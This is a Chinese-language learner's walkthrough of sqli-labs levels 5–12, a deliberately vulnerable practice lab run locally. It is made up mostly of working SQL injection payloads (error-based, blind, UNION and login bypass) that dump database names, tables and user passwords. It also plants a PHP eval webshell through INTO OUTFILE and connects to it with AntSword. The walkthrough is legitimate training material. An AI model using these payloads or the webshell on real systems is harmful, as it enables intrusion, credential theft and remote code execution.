sqli-labs闯关续(5--12)
前言
Web题中SQL注入是最重要的类型之一。之前只是简单的了解, SQL注入对于我这样的新手来说可能会有一点难度,当时学的时候学习了sqli-labs的前四关,现在重新捡起,继续打。
第五关
目前我了解到两种方法。
第一种方法——报错型注入
旧方法
肯定是有注入的,所以判断是否有注入就省去了。判断闭合符号是单引号
?id=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
可报错并显示出数据库。
显示表名,
?id=1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))--+
爆列名
?id=1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))--+
爆数据:
?id=1%27%20and%20(updatexml(1,concat(0x7e,(select%20group_concat(username)%20from%20users),0x7e),1))--+
没显示完,还有下一步,再爆后面的数据,用mid函数。
?id=1' and (updatexml(1,concat(0x7e,mid((select group_concat(username) from users),32),0x7e),1))--+
新get
还有一个语句可以实现,看到了就顺便总结下来:
爆数据库名:
?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+
爆表名,可以通过limit函数爆出目标数据表名:
?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x23))--+
爆列名,同样是用limit函数进行选择列爆破:
?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+
爆数据值:
?id=1' and extractvalue(1,concat(0x23,(select username from users limit 1,1),0x23))--+
第二种——盲注
判断数据库长度
?id=1' and length(database())>0--+
?id=1' and length(database())=8--+
数据库长度判断出来,下一步爆库名
?id=1' and ascii(substr(database(),1,1)=83)--+
这样判断太慢,直接burp爆破就行,之前尝试的burp爆破是一个post类型,这次是get类型,所以就再总结一下
?id=1' and ascii(substr((select database() limit 1,1),1,1))=100--+
设置好开始爆破
然后放到一个转ascii码的小工具里转换
可以爆出数据库名。
其他的只需改动语句,爆破方式一样。只是比较慢。
脚本暂时还不会写,先放着,学会了再补充。
第六关
双引号闭合,其他的与第五关相同,照抄OK。
第七关
对于我来说时一种新的注入方式,
判断闭合符号。
?id=1'))
闭合符号是'))
,试着上传一句话木马,
路径不知道,先拿个简单关查看下路径(做题的时候要靠自己找,刚了解到,我也没见过这类题,所以见到再说)
payload
?id=-1 union select 1,@@basedir,@@datadir --+
payload
?id=1')) union select 1,2,'<?php @eval($_POST["lxj"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\lxj.php"--+
回显报错了,看师傅们的博客是:虽然报错了,但是在本地文件是可以看到上传成功的,可是为什么我的就没有。
奇怪,啥都没有。再百度看了好几篇博客,终于找到了解决办法,是我本地的mysql没有写入权限。所以没有办法上传成功,解决办法也是尝试过好几遍才对了。
解决办法如下:
打开mysql目录找到my.in
这个文件,
打开这个文件:添加secure-file-priv =""
保存
一般出现没有写入权限的问题的应该就是缺少了。直接加一个就行。(反正我的是没有这句话。)只针对这一种情况,其他的不好说。
然后再重新写入php文件,但是再看还是没有任何东西,然后又查百度,找了三四遍博客终于让我找到了我错在哪里了。原来就是一个低级错误,保存之后记得重新启动mysql。再次上传php就行。
这次就上传成功了。
运行一下看看,
可以,那就用菜刀或者蚁剑连接。
http://127.0.0.1/sqli-labs-master/Less-13/
添加成功,连上了。
查看一下
ok木得问题,过关。
第八关
这道题是布尔盲注
看题目单引号闭合,试一下
但是这道题可以使用第七关的方法上传一个木马,用蚁剑或菜刀连接。步骤略,看结果
看了可以,那就不管它了。
在回头说盲注,盲注是布尔盲注,可以用手注,也可以用burp爆破。跟第五关差不多,不再重复
第九关
看题是基于单引号闭合的时间盲注
反正也没事试一遍,发现确实是不管payload是什么,都会回显You are in ......
想起来之前第九关和第十关差不多,第十关以前总结过,再回头看一下。就不再重新写一遍了。
只是第十关是双引号闭合,其他的一样,没什么差别。
额咳咳,出于好奇,我又闲着试试,第九关能不能传入木马,结果还真成功了
啊哈,意外之喜。第十关应该也行。
第十关
只标题。就试试可不可以传入木马就行了,顺便连接一下。
蚁剑连接
成功了,开心哈。
第十一关
从这一关往后是post类型的注入。之前只了解过万能密码
随便输入账户密码都输入admin,登录成功。
然后再输入账户lalala
密码1234
,发现有报错,
这就能证明本关的确是报错注入。
第一种姿势
万能密码
username:admin'#
,密码随意。
爆数据库
admin' and extractvalue(1,concat(0x7e,database(),0x7e))#
admin' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
两句均可,就全部记了下来,网上大佬的博客很多,不同的姿势也好几个,这里暂时总结几种我学会的吧。
爆数据表名
admin' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e))#
limit决定爆哪个表
第三个表爆出users
,可进行下一步,爆列名
admin' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e))#
admin' and extractvalue(1,concat(0x7e,(select username from users limit 1,1),0x7e))#
limit决定爆哪个信息
第二种姿势
随便构造账户名和密码。然后进行抓包
发送到Repeater
uname=admin' and 1=1%23 &passwd=1234&submit=Submit
爆数据库名
uname=0' union select 1,database()%23 &passwd=admin&submit=Submit
爆表名
uname=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'%23 &passwd=admin&submit=Submit
爆出四张表,然后根据前几关的套路可查询users
uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23 &passwd=admin&submit=Submit
同时查询username
和password
。
uname=0' union select group_concat(username),group_concat(password) from users%23 &passwd=admin&submit=Submit
得到这么多数据。get!!
第十二关
闭合方式不同,此关是双引号闭合。步骤与十一关相同。
先学习到这里,沉淀一下,消化消化新知识。继续加油!